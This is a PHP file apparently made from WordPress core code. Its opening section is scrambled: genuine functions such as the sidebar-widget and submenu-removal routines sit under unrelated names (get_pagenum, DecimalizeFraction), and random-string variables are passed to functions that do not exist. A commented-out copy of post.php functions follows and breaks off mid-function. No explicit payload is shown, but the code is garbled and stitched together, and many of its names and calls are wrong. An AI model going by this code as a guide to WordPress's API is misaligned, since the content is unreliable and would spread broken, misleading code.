'ldjsbdkx'; $stcoEntriesDataOffset = 'o4kwwvei2'; $attachment_ids = ltrim($stcoEntriesDataOffset); function wp_media_personal_data_exporter() { return Akismet_Admin::recheck_queue(); } // Doesn't require a constant. $usage_limit = 'qz7yt2c'; // ----- Go to beginning of Central Dir // // Internal Functions. // /** * Retrieve full list of sidebars and their widget instance IDs. * * Will upgrade sidebar widget list, if needed. Will also save updated list, if * needed. * * @since 2.2.0 * @access private * * @global array $form_action_url * @global array $update_wordpress * * @param bool $available_roles Not used (argument deprecated). * @return array Upgraded list of widgets to version 3 array format when called from the admin. */ function get_pagenum($available_roles = true) { if (true !== $available_roles) { _deprecated_argument(__FUNCTION__, '2.8.1'); } global $form_action_url, $update_wordpress; /* * If loading from front page, consult $form_action_url rather than options * to see if wp_convert_widget_settings() has made manipulations in memory. */ if (!is_admin()) { if (empty($form_action_url)) { $form_action_url = get_option('sidebars_widgets', array()); } $update_wordpress = $form_action_url; } else { $update_wordpress = get_option('sidebars_widgets', array()); } if (is_array($update_wordpress) && isset($update_wordpress['array_version'])) { unset($update_wordpress['array_version']); } /** * Filters the list of sidebars and their widgets. * * @since 2.7.0 * * @param array $update_wordpress An associative array of sidebars and their widgets. */ return apply_filters('sidebars_widgets', $update_wordpress); } $allow_query_attachment_by_filename = wp_title_rss($usage_limit); // Remove all permissions that may exist for the site. // These styles are no longer generated by global styles, so this must be false or they will be stripped out in wp_get_block_editor_settings. $listname = 'oqnwdh'; $all_bind_directives = 'lt32'; //Assume no multibytes (we can't handle without mbstring functions anyway) // See: https://github.com/WordPress/gutenberg/issues/32624. $listname = str_repeat($all_bind_directives, 2); $confirm_key = 'stko6jv'; // ----- Look for post-extract callback $error_types_to_handle = set_source_class($confirm_key); // [3B][40][40] -- A URL to find information about the codec used. $listname = 'a1q9r8fp'; // Validate value by JSON schema. An invalid value should revert to $example_definition = 'ejwzd'; // Get parent theme.json. // No "meta" no good. // [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply /** * Determines whether the query is for a specific time. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * * @global WP_Query $was_cache_addition_suspended WordPress Query object. * * @return bool Whether the query is for a specific time. */ function wp_ajax_inline_save_tax() { global $was_cache_addition_suspended; if (!isset($was_cache_addition_suspended)) { _doing_it_wrong(__FUNCTION__, __('Conditional query tags do not work before the query is run. Before then, they always return false.'), '3.1.0'); return false; } return $was_cache_addition_suspended->wp_ajax_inline_save_tax(); } // Register block theme styles. $link_category = 'r3bj63k'; /** * Deletes a file if its path is within the given directory. * * @since 4.9.7 * * @param string $escaped_pattern Absolute path to the file to delete. * @param string $available_templates Absolute path to a directory. * @return bool True on success, false on failure. */ function handle_begin_link($escaped_pattern, $available_templates) { if (wp_is_stream($escaped_pattern)) { $dependencies_of_the_dependency = $escaped_pattern; $gmt_offset = $available_templates; } else { $dependencies_of_the_dependency = realpath(wp_normalize_path($escaped_pattern)); $gmt_offset = realpath(wp_normalize_path($available_templates)); } if (false !== $dependencies_of_the_dependency) { $dependencies_of_the_dependency = wp_normalize_path($dependencies_of_the_dependency); } if (false !== $gmt_offset) { $gmt_offset = wp_normalize_path($gmt_offset); } if (false === $dependencies_of_the_dependency || false === $gmt_offset || !str_starts_with($dependencies_of_the_dependency, trailingslashit($gmt_offset))) { return false; } wp_delete_file($escaped_pattern); return true; } $listname = chop($example_definition, $link_category); // For 'wp_head'. $symbol = 'f00s2c'; $h_feed = 'nfdba'; // <Header for 'Terms of use frame', ID: 'USER'> $symbol = nl2br($h_feed); // Don't index any of these forms. // Function : PclZipUtilPathInclusion() $themes_dir = 'pzw0wm0'; $all_bind_directives = 'sgil83v'; $themes_dir = bin2hex($all_bind_directives); // More than one tag cloud supporting taxonomy found, display a select. $value_length = 'upf9'; // CD TOC <binary data> $avail_post_mime_types = 'aw12'; $value_length = basename($avail_post_mime_types); $allow_query_attachment_by_filename = keyExchange($symbol); $decimal_point = 'tayo9tp'; $link_category = 'nveufhik'; /** * Updates the count of sites for the current network. * * If enabled through the {@see 'enable_live_network_counts'} filter, update the sites count * on a network when a site is created or its status is updated. * * @since 3.7.0 * @since 4.8.0 The `$error_path` parameter has been added. * * @param int|null $error_path ID of the network. Default is the current network. */ function get_users($error_path = null) { $term_data = !wp_is_large_network('sites', $error_path); /** * Filters whether to update network site or user counts when a new site is created. * * @since 3.7.0 * * @see wp_is_large_network() * * @param bool $small_network Whether the network is considered small. * @param string $settings_html Context. Either 'users' or 'sites'. */ if (!apply_filters('enable_live_network_counts', $term_data, 'sites')) { return; } wp_update_network_site_counts($error_path); } $decimal_point = str_repeat($link_category, 4); $cookie_elements = 'yro0hwgzs'; // Use more clear and inclusive language. // dependencies: NONE // // action=unspamcomment: Following the "Not Spam" link below a comment in wp-admin (not allowing AJAX request to happen). /** * Removes an admin submenu. * * Example usage: * * - `DecimalizeFraction( 'themes.php', 'nav-menus.php' )` * - `DecimalizeFraction( 'tools.php', 'plugin_submenu_slug' )` * - `DecimalizeFraction( 'plugin_menu_slug', 'plugin_submenu_slug' )` * * @since 3.1.0 * * @global array $max_sitemaps * * @param string $theme_action The slug for the parent menu. * @param string $child_args The slug of the submenu. * @return array|false The removed submenu on success, false if not found. */ function DecimalizeFraction($theme_action, $child_args) { global $max_sitemaps; if (!isset($max_sitemaps[$theme_action])) { return false; } foreach ($max_sitemaps[$theme_action] as $changeset_setting_id => $toolbar2) { if ($child_args === $toolbar2[2]) { unset($max_sitemaps[$theme_action][$changeset_setting_id]); return $toolbar2; } } return false; } // Re-index. // Ensure headers remain case-insensitive. $blocklist = 'd0uspt'; $format_args = 'l7ocbk'; /** * Clears existing update caches for plugins, themes, and core. * * @since 4.1.0 */ function sodium_crypto_secretstream_xchacha20poly1305_pull() { if (function_exists('wp_clean_plugins_cache')) { wp_clean_plugins_cache(); } else { delete_site_transient('update_plugins'); } wp_clean_themes_cache(); delete_site_transient('update_core'); } $cookie_elements = strcspn($blocklist, $format_args); /* pos ) { $mime_group = preg_replace( '/[^-*.a-zA-Z0-9]/', '', substr( $mime_type, 0, $slashpos ) ); $mime_subgroup = preg_replace( '/[^-*.+a-zA-Z0-9]/', '', substr( $mime_type, $slashpos + 1 ) ); if ( empty( $mime_subgroup ) ) { $mime_subgroup = '*'; } else { $mime_subgroup = str_replace( '/', '', $mime_subgroup ); } $mime_pattern = "$mime_group/$mime_subgroup"; } else { $mime_pattern = preg_replace( '/[^-*.a-zA-Z0-9]/', '', $mime_type ); if ( ! str_contains( $mime_pattern, '*' ) ) { $mime_pattern .= ''; } } $mime_pattern = preg_replace( '/\*+/', '%', $mime_pattern ); if ( in_array( $mime_type, $wildcards, true ) ) { return ''; } if ( str_contains( $mime_pattern, '%' ) ) { $wheres[] = empty( $table_alias ) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'"; } else { $wheres[] = empty( $table_alias ) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'"; } } if ( ! empty( $wheres ) ) { $where = ' AND (' . implode( ' OR ', $wheres ) . ') '; } return $where; } * * Trashes or deletes a post or page. * * When the post and page is permanently deleted, everything that is tied to * it is deleted also. This includes comments, post meta fields, and terms * associated with the post. * * The post or page is moved to Trash instead of permanently deleted unless * Trash is disabled, item is already in the Trash, or $force_delete is true. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * @see wp_delete_attachment() * @see wp_trash_post() * * @param int $postid Optional. Post ID. Default 0. * @param bool $force_delete Optional. Whether to bypass Trash and force deletion. * Default false. * @return WP_Post|false|null Post data on success, false or null on failure. function wp_delete_post( $postid = 0, $force_delete = false ) { global $wpdb; $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $postid ) ); if ( ! $post ) { return $post; } $post = get_post( $post ); if ( ! $force_delete && ( 'post' === $post->post_type || 'page' === $post->post_type ) && 'trash' !== get_post_status( $postid ) && EMPTY_TRASH_DAYS ) { return wp_trash_post( $postid ); } if ( 'attachment' === $post->post_type ) { return wp_delete_attachment( $postid, $force_delete ); } * * Filters whether a post deletion should take place. * * @since 4.4.0 * * @param WP_Post|false|null $delete Whether to go forward with deletion. * @param WP_Post $post Post object. * @param bool $force_delete Whether to bypass the Trash. $check = apply_filters( 'pre_delete_post', null, $post, $force_delete ); if ( null !== $check ) { return $check; } * * Fires before a post is deleted, at the start of wp_delete_post(). * * @since 3.2.0 * @since 5.5.0 Added the `$post` parameter. * * @see wp_delete_post() * * @param int $postid Post ID. * @param WP_Post $post Post object. do_action( 'before_delete_post', $postid, $post ); delete_post_meta( $postid, '_wp_trash_meta_status' ); delete_post_meta( $postid, '_wp_trash_meta_time' ); wp_delete_object_term_relationships( $postid, get_object_taxonomies( $post->post_type ) ); $parent_data = array( 'post_parent' => $post->post_parent ); $parent_where = array( 'post_parent' => $postid ); if ( is_post_type_hierarchical( $post->post_type ) ) { Point children of this page to its parent, also clean the cache of affected children. $children_query = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type = %s", $postid, $post->post_type ); $children = $wpdb->get_results( $children_query ); if ( $children ) { $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => $post->post_type ) ); } } Do raw query. wp_get_post_revisions() is filtered. $revision_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision'", $postid ) ); Use wp_delete_post (via wp_delete_post_revision) again. Ensures any meta/misplaced data gets cleaned up. foreach ( $revision_ids as $revision_id ) { wp_delete_post_revision( $revision_id ); } Point all attachments to this post up one level. $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'attachment' ) ); wp_defer_comment_counting( true ); $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d ORDER BY comment_ID DESC", $postid ) ); foreach ( $comment_ids as $comment_id ) { wp_delete_comment( $comment_id, true ); } wp_defer_comment_counting( false ); $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $postid ) ); foreach ( $post_meta_ids as $mid ) { delete_metadata_by_mid( 'post', $mid ); } * * Fires immediately before a post is deleted from the database. * * @since 1.2.0 * @since 5.5.0 Added the `$post` parameter. * * @param int $postid Post ID. * @param WP_Post $post Post object. do_action( 'delete_post', $postid, $post ); $result = $wpdb->delete( $wpdb->posts, array( 'ID' => $postid ) ); if ( ! $result ) { return false; } * * Fires immediately after a post is deleted from the database. * * @since 2.2.0 * @since 5.5.0 Added the `$post` parameter. * * @param int $postid Post ID. * @param WP_Post $post Post object. do_action( 'deleted_post', $postid, $post ); clean_post_cache( $post ); if ( is_post_type_hierarchical( $post->post_type ) && $children ) { foreach ( $children as $child ) { clean_post_cache( $child ); } } wp_clear_scheduled_hook( 'publish_future_post', array( $postid ) ); * * Fires after a post is deleted, at the conclusion of wp_delete_post(). * * @since 3.2.0 * @since 5.5.0 Added the `$post` parameter. * * @see wp_delete_post() * * @param int $postid Post ID. * @param WP_Post $post Post object. do_action( 'after_delete_post', $postid, $post ); return $post; } * * Resets the page_on_front, show_on_front, and page_for_post settings when * a linked page is deleted or trashed. * * Also ensures the post is no longer sticky. * * @since 3.7.0 * @access private * * @param int $post_id Post ID. function _reset_front_page_settings_for_post( $post_id ) { $post = get_post( $post_id ); if ( 'page' === $post->post_type ) { * If the page is defined in option page_on_front or post_for_posts, * adjust the corresponding options. if ( get_option( 'page_on_front' ) == $post->ID ) { update_option( 'show_on_front', 'posts' ); update_option( 'page_on_front', 0 ); } if ( get_option( 'page_for_posts' ) == $post->ID ) { update_option( 'page_for_posts', 0 ); } } unstick_post( $post->ID ); } * * Moves a post or page to the Trash * * If Trash is disabled, the post or page is permanently deleted. * * @since 2.9.0 * * @see wp_delete_post() * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post` * if `EMPTY_TRASH_DAYS` equals true. * @return WP_Post|false|null Post data on success, false or null on failure. function wp_trash_post( $post_id = 0 ) { if ( ! EMPTY_TRASH_DAYS ) { return wp_delete_post( $post_id, true ); } $post = get_post( $post_id ); if ( ! $post ) { return $post; } if ( 'trash' === $post->post_status ) { return false; } $previous_status = $post->post_status; * * Filters whether a post trashing should take place. * * @since 4.9.0 * @since 6.3.0 Added the `$previous_status` parameter. * * @param bool|null $trash Whether to go forward with trashing. * @param WP_Post $post Post object. * @param string $previous_status The status of the post about to be trashed. $check = apply_filters( 'pre_trash_post', null, $post, $previous_status ); if ( null !== $check ) { return $check; } * * Fires before a post is sent to the Trash. * * @since 3.3.0 * @since 6.3.0 Added the `$previous_status` parameter. * * @param int $post_id Post ID. * @param string $previous_status The status of the post about to be trashed. do_action( 'wp_trash_post', $post_id, $previous_status ); add_post_meta( $post_id, '_wp_trash_meta_status', $previous_status ); add_post_meta( $post_id, '_wp_trash_meta_time', time() ); $post_updated = wp_update_post( array( 'ID' => $post_id, 'post_status' => 'trash', ) ); if ( ! $post_updated ) { return false; } wp_trash_post_comments( $post_id ); * * Fires after a post is sent to the Trash. * * @since 2.9.0 * @since 6.3.0 Added the `$previous_status` parameter. * * @param int $post_id Post ID. * @param string $previous_status The status of the post at the point where it was trashed. do_action( 'trashed_post', $post_id, $previous_status ); return $post; } * * Restores a post from the Trash. * * @since 2.9.0 * @since 5.6.0 An untrashed post is now returned to 'draft' status by default, except for * attachments which are returned to their original 'inherit' status. * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return WP_Post|false|null Post data on success, false or null on failure. function wp_untrash_post( $post_id = 0 ) { $post = get_post( $post_id ); if ( ! $post ) { return $post; } $post_id = $post->ID; if ( 'trash' !== $post->post_status ) { return false; } $previous_status = get_post_meta( $post_id, '_wp_trash_meta_status', true ); * * Filters whether a post untrashing should take place. * * @since 4.9.0 * @since 5.6.0 Added the `$previous_status` parameter. * * @param bool|null $untrash Whether to go forward with untrashing. * @param WP_Post $post Post object. * @param string $previous_status The status of the post at the point where it was trashed. $check = apply_filters( 'pre_untrash_post', null, $post, $previous_status ); if ( null !== $check ) { return $check; } * * Fires before a post is restored from the Trash. * * @since 2.9.0 * @since 5.6.0 Added the `$previous_status` parameter. * * @param int $post_id Post ID. * @param string $previous_status The status of the post at the point where it was trashed. do_action( 'untrash_post', $post_id, $previous_status ); $new_status = ( 'attachment' === $post->post_type ) ? 'inherit' : 'draft'; * * Filters the status that a post gets assigned when it is restored from the trash (untrashed). * * By default posts that are restored will be assigned a status of 'draft'. Return the value of `$previous_status` * in order to assign the status that the post had before it was trashed. The `wp_untrash_post_set_previous_status()` * function is available for this. * * Prior to WordPress 5.6.0, restored posts were always assigned their original status. * * @since 5.6.0 * * @param string $new_status The new status of the post being restored. * @param int $post_id The ID of the post being restored. * @param string $previous_status The status of the post at the point where it was trashed. $post_status = apply_filters( 'wp_untrash_post_status', $new_status, $post_id, $previous_status ); delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); $post_updated = wp_update_post( array( 'ID' => $post_id, 'post_status' => $post_status, ) ); if ( ! $post_updated ) { return false; } wp_untrash_post_comments( $post_id ); * * Fires after a post is restored from the Trash. * * @since 2.9.0 * @since 5.6.0 Added the `$previous_status` parameter. * * @param int $post_id Post ID. * @param string $previous_status The status of the post at the point where it was trashed. do_action( 'untrashed_post', $post_id, $previous_status ); return $post; } * * Moves comments for a post to the Trash. * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post. * @return mixed|void False on failure. function wp_trash_post_comments( $post = null ) { global $wpdb; $post = get_post( $post ); if ( ! $post ) { return; } $post_id = $post->ID; * * Fires before comments are sent to the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. do_action( 'trash_post_comments', $post_id ); $comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_ID, comment_approved FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ) ); if ( ! $comments ) { return; } Cache current status for each comment. $statuses = array(); foreach ( $comments as $comment ) { $statuses[ $comment->comment_ID ] = $comment->comment_approved; } add_post_meta( $post_id, '_wp_trash_meta_comments_status', $statuses ); Set status for all comments to post-trashed. $result = $wpdb->update( $wpdb->comments, array( 'comment_approved' => 'post-trashed' ), array( 'comment_post_ID' => $post_id ) ); clean_comment_cache( array_keys( $statuses ) ); * * Fires after comments are sent to the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. * @param array $statuses Array of comment statuses. do_action( 'trashed_post_comments', $post_id, $statuses ); return $result; } * * Restores comments for a post from the Trash. * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post. * @return true|void function wp_untrash_post_comments( $post = null ) { global $wpdb; $post = get_post( $post ); if ( ! $post ) { return; } $post_id = $post->ID; $statuses = get_post_meta( $post_id, '_wp_trash_meta_comments_status', true ); if ( ! $statuses ) { return true; } * * Fires before comments are restored for a post from the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. do_action( 'untrash_post_comments', $post_id ); Restore each comment to its original status. $group_by_status = array(); foreach ( $statuses as $comment_id => $comment_status ) { $group_by_status[ $comment_status ][] = $comment_id; } foreach ( $group_by_status as $status => $comments ) { Sanity check. This shouldn't happen. if ( 'post-trashed' === $status ) { $status = '0'; } $comments_in = implode( ', ', array_map( 'intval', $comments ) ); $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->comments SET comment_approved = %s WHERE comment_ID IN ($comments_in)", $status ) ); } clean_comment_cache( array_keys( $statuses ) ); delete_post_meta( $post_id, '_wp_trash_meta_comments_status' ); * * Fires after comments are restored for a post from the Trash. * * @since 2.9.0 * * @param int $post_id Post ID. do_action( 'untrashed_post_comments', $post_id ); } * * Retrieves the list of categories for a post. * * Compatibility layer for themes and plugins. Also an easy layer of abstraction * away from the complexity of the taxonomy layer. * * @since 2.1.0 * * @see wp_get_object_terms() * * @param int $post_id Optional. The Post ID. Does not default to the ID of the * global $post. Default 0. * @param array $args Optional. Category query parameters. Default empty array. * See WP_Term_Query::__construct() for supported arguments. * @return array|WP_Error List of categories. If the `$fields` argument passed via `$args` is 'all' or * 'all_with_object_id', an array of WP_Term objects will be returned. If `$fields` * is 'ids', an array of category IDs. If `$fields` is 'names', an array of category names. * WP_Error object if 'category' taxonomy doesn't exist. function wp_get_post_categories( $post_id = 0, $args = array() ) { $post_id = (int) $post_id; $defaults = array( 'fields' => 'ids' ); $args = wp_parse_args( $args, $defaults ); $cats = wp_get_object_terms( $post_id, 'category', $args ); return $cats; } * * Retrieves the tags for a post. * * There is only one default for this function, called 'fields' and by default * is set to 'all'. There are other defaults that can be overridden in * wp_get_object_terms(). * * @since 2.3.0 * * @param int $post_id Optional. The Post ID. Does not default to the ID of the * global $post. Default 0. * @param array $args Optional. Tag query parameters. Default empty array. * See WP_Term_Query::__construct() for supported arguments. * @return array|WP_Error Array of WP_Term objects on success or empty array if no tags were found. * WP_Error object if 'post_tag' taxonomy doesn't exist. function wp_get_post_tags( $post_id = 0, $args = array() ) { return wp_get_post_terms( $post_id, 'post_tag', $args ); } * * Retrieves the terms for a post. * * @since 2.8.0 * * @param int $post_id Optional. The Post ID. Does not default to the ID of the * global $post. Default 0. * @param string|string[] $taxonomy Optional. The taxonomy slug or array of slugs for which * to retrieve terms. Default 'post_tag'. * @param array $args { * Optional. Term query parameters. See WP_Term_Query::__construct() for supported arguments. * * @type string $fields Term fields to retrieve. Default 'all'. * } * @return array|WP_Error Array of WP_Term objects on success or empty array if no terms were found. * WP_Error object if `$taxonomy` doesn't exist. function wp_get_post_terms( $post_id = 0, $taxonomy = 'post_tag', $args = array() ) { $post_id = (int) $post_id; $defaults = array( 'fields' => 'all' ); $args = wp_parse_args( $args, $defaults ); $tags = wp_get_object_terms( $post_id, $taxonomy, $args ); return $tags; } * * Retrieves a number of recent posts. * * @since 1.0.0 * * @see get_posts() * * @param array $args Optional. Arguments to retrieve posts. Default empty array. * @param string $output Optional. The required return type. One of OBJECT or ARRAY_A, which * correspond to a WP_Post object or an associative array, respectively. * Default ARRAY_A. * @return array|false Array of recent posts, where the type of each element is determined * by the `$output` parameter. Empty array on failure. function wp_get_recent_posts( $args = array(), $output = ARRAY_A ) { if ( is_numeric( $args ) ) { _deprecated_argument( __FUNCTION__, '3.1.0', __( 'Passing an integer number of posts is deprecated. Pass an array of arguments instead.' ) ); $args = array( 'numberposts' => absint( $args ) ); } Set default arguments. $defaults = array( 'numberposts' => 10, 'offset' => 0, 'category' => 0, 'orderby' => 'post_date', 'order' => 'DESC', 'include' => '', 'exclude' => '', 'meta_key' => '', 'meta_value' => '', 'post_type' => 'post', 'post_status' => 'draft, publish, future, pending, private', 'suppress_filters' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $results = get_posts( $parsed_args ); Backward compatibility. Prior to 3.1 expected posts to be returned in array. if ( ARRAY_A === $output ) { foreach ( $results as $key => $result ) { $results[ $key ] = get_object_vars( $result ); } return $results ? $results : array(); } return $results ? $results : false; } * * Inserts or update a post. * * If the $postarr parameter has 'ID' set to a value, then post will be updated. * * You can set the post date manually, by setting the values for 'post_date' * and 'post_date_gmt' keys. You can close the comments or open the comments by * setting the value for 'comment_status' key. * * @since 1.0.0 * @since 2.6.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure. * @since 4.2.0 Support was added for encoding emoji in the post title, content, and excerpt. * @since 4.4.0 A 'meta_input' array can now be passed to `$postarr` to add post meta data. * @since 5.6.0 Added the `$fire_after_hooks` parameter. * * @see sanitize_post() * @global wpdb $wpdb WordPress database abstraction object. * * @param array $postarr { * An array of elements that make up a post to update or insert. * * @type int $ID The post ID. If equal to something other than 0, * the post with that ID will be updated. Default 0. * @type int $post_author The ID of the user who added the post. Default is * the current user ID. * @type string $post_date The date of the post. Default is the current time. * @type string $post_date_gmt The date of the post in the GMT timezone. Default is * the value of `$post_date`. * @type string $post_content The post content. Default empty. * @type string $post_content_filtered The filtered post content. Default empty. * @type string $post_title The post title. Default empty. * @type string $post_excerpt The post excerpt. Default empty. * @type string $post_status The post status. Default 'draft'. * @type string $post_type The post type. Default 'post'. * @type string $comment_status Whether the post can accept comments. Accepts 'open' or 'closed'. * Default is the value of 'default_comment_status' option. * @type string $ping_status Whether the post can accept pings. Accepts 'open' or 'closed'. * Default is the value of 'default_ping_status' option. * @type string $post_password The password to access the post. Default empty. * @type string $post_name The post name. Default is the sanitized post title * when creating a new post. * @type string $to_ping Space or carriage return-separated list of URLs to ping. * Default empty. * @type string $pinged Space or carriage return-separated list of URLs that have * been pinged. Default empty. * @type int $post_parent Set this for the post it belongs to, if any. Default 0. * @type int $menu_order The order the post should be displayed in. Default 0. * @type string $post_mime_type The mime type of the post. Default empty. * @type string $guid Global Unique ID for referencing the post. Default empty. * @type int $import_id The post ID to be used when inserting a new post. * If specified, must not match any existing post ID. Default 0. * @type int[] $post_category Array of category IDs. * Defaults to value of the 'default_category' option. * @type array $tags_input Array of tag names, slugs, or IDs. Default empty. * @type array $tax_input An array of taxonomy terms keyed by their taxonomy name. * If the taxonomy is hierarchical, the term list needs to be * either an array of term IDs or a comma-separated string of IDs. * If the taxonomy is non-hierarchical, the term list can be an array * that contains term names or slugs, or a comma-separated string * of names or slugs. This is because, in hierarchical taxonomy, * child terms can have the same names with different parent terms, * so the only way to connect them is using ID. Default empty. * @type array $meta_input Array of post meta values keyed by their post meta key. Default empty. * @type string $page_template Page template to use. * } * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @param bool $fire_after_hooks Optional. Whether to fire the after insert hooks. Default true. * @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure. function wp_insert_post( $postarr, $wp_error = false, $fire_after_hooks = true ) { global $wpdb; Capture original pre-sanitized array for passing into filters. $unsanitized_postarr = $postarr; $user_id = get_current_user_id(); $defaults = array( 'post_author' => $user_id, 'post_content' => '', 'post_content_filtered' => '', 'post_title' => '', 'post_excerpt' => '', 'post_status' => 'draft', 'post_type' => 'post', 'comment_status' => '', 'ping_status' => '', 'post_password' => '', 'to_ping' => '', 'pinged' => '', 'post_parent' => 0, 'menu_order' => 0, 'guid' => '', 'import_id' => 0, 'context' => '', 'post_date' => '', 'post_date_gmt' => '', ); $postarr = wp_parse_args( $postarr, $defaults ); unset( $postarr['filter'] ); $postarr = sanitize_post( $postarr, 'db' ); Are we updating or creating? $post_id = 0; $update = false; $guid = $postarr['guid']; if ( ! empty( $postarr['ID'] ) ) { $update = true; Get the post ID and GUID. $post_id = $postarr['ID']; $post_before = get_post( $post_id ); if ( is_null( $post_before ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) ); } return 0; } $guid = get_post_field( 'guid', $post_id ); $previous_status = get_post_field( 'post_status', $post_id ); } else { $previous_status = 'new'; $post_before = null; } $post_type = empty( $postarr['post_type'] ) ? 'post' : $postarr['post_type']; $post_title = $postarr['post_title']; $post_content = $postarr['post_content']; $post_excerpt = $postarr['post_excerpt']; if ( isset( $postarr['post_name'] ) ) { $post_name = $postarr['post_name']; } elseif ( $update ) { For an update, don't modify the post_name if it wasn't supplied as an argument. $post_name = $post_before->post_name; } $maybe_empty = 'attachment' !== $post_type && ! $post_content && ! $post_title && ! $post_excerpt && post_type_supports( $post_type, 'editor' ) && post_type_supports( $post_type, 'title' ) && post_type_supports( $post_type, 'excerpt' ); * * Filters whether the post should be considered "empty". * * The post is considered "empty" if both: * 1. The post type supports the title, editor, and excerpt fields * 2. The title, editor, and excerpt fields are all empty * * Returning a truthy value from the filter will effectively short-circuit * the new post being inserted and return 0. If $wp_error is true, a WP_Error * will be returned instead. * * @since 3.3.0 * * @param bool $maybe_empty Whether the post should be considered "empty". * @param array $postarr Array of post data. if ( apply_filters( 'wp_insert_post_empty_content', $maybe_empty, $postarr ) ) { if ( $wp_error ) { return new WP_Error( 'empty_content', __( 'Content, title, and excerpt are empty.' ) ); } else { return 0; } } $post_status = empty( $postarr['post_status'] ) ? 'draft' : $postarr['post_status']; if ( 'attachment' === $post_type && ! in_array( $post_status, array( 'inherit', 'private', 'trash', 'auto-draft' ), true ) ) { $post_status = 'inherit'; } if ( ! empty( $postarr['post_category'] ) ) { Filter out empty terms. $post_category = array_filter( $postarr['post_category'] ); } elseif ( $update && ! isset( $postarr['post_category'] ) ) { $post_category = $post_before->post_category; } Make sure we set a valid category. if ( empty( $post_category ) || 0 === count( $post_category ) || ! is_array( $post_category ) ) { 'post' requires at least one category. if ( 'post' === $post_type && 'auto-draft' !== $post_status ) { $post_category = array( get_option( 'default_category' ) ); } else { $post_category = array(); } } * Don't allow contributors to set the post slug for pending review posts. * * For new posts check the primitive capability, for updates check the meta capability. if ( 'pending' === $post_status ) { $post_type_object = get_post_type_object( $post_type ); if ( ! $update && $post_type_object && ! current_user_can( $post_type_object->cap->publish_posts ) ) { $post_name = ''; } elseif ( $update && ! current_user_can( 'publish_post', $post_id ) ) { $post_name = ''; } } * Create a valid post name. Drafts and pending posts are allowed to have * an empty post name. if ( empty( $post_name ) ) { if ( ! in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ), true ) ) { $post_name = sanitize_title( $post_title ); } else { $post_name = ''; } } else { On updates, we need to check to see if it's using the old, fixed sanitization context. $check_name = sanitize_title( $post_name, '', 'old-save' ); if ( $update && strtolower( urlencode( $post_name ) ) === $check_name && get_post_field( 'post_name', $post_id ) === $check_name ) { $post_name = $check_name; } else { New post, or slug has changed. $post_name = sanitize_title( $post_name ); } } * Resolve the post date from any provided post date or post date GMT strings; * if none are provided, the date will be set to now. $post_date = wp_resolve_post_date( $postarr['post_date'], $postarr['post_date_gmt'] ); if ( ! $post_date ) { if ( $wp_error ) { return new WP_Error( 'invalid_date', __( 'Invalid date.' ) ); } else { return 0; } } if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' === $postarr['post_date_gmt'] ) { if ( ! in_array( $post_status, get_post_stati( array( 'date_floating' => true ) ), true ) ) { $post_date_gmt = get_gmt_from_date( $post_date ); } else { $post_date_gmt = '0000-00-00 00:00:00'; } } else { $post_date_gmt = $postarr['post_date_gmt']; } if ( $update || '0000-00-00 00:00:00' === $post_date ) { $post_modified = current_time( 'mysql' ); $post_modified_gmt = current_time( 'mysql', 1 ); } else { $post_modified = $post_date; $post_modified_gmt = $post_date_gmt; } if ( 'attachment' !== $post_type ) { $now = gmdate( 'Y-m-d H:i:s' ); if ( 'publish' === $post_status ) { if ( strtotime( $post_date_gmt ) - strtotime( $now ) >= MINUTE_IN_SECONDS ) { $post_status = 'future'; } } elseif ( 'future' === $post_status ) { if ( strtotime( $post_date_gmt ) - strtotime( $now ) < MINUTE_IN_SECONDS ) { $post_status = 'publish'; } } } Comment status. if ( empty( $postarr['comment_status'] ) ) { if ( $update ) { $comment_status = 'closed'; } else { $comment_status = get_default_comment_status( $post_type ); } } else { $comment_status = $postarr['comment_status']; } These variables are needed by compact() later. $post_content_filtered = $postarr['post_content_filtered']; $post_author = isset( $postarr['post_author'] ) ? $postarr['post_author'] : $user_id; $ping_status = empty( $postarr['ping_status'] ) ? get_default_comment_status( $post_type, 'pingback' ) : $postarr['ping_status']; $to_ping = isset( $postarr['to_ping'] ) ? sanitize_trackback_urls( $postarr['to_ping'] ) : ''; $pinged = isset( $postarr['pinged'] ) ? $postarr['pinged'] : ''; $import_id = isset( $postarr['import_id'] ) ? $postarr['import_id'] : 0; * The 'wp_insert_post_parent' filter expects all variables to be present. 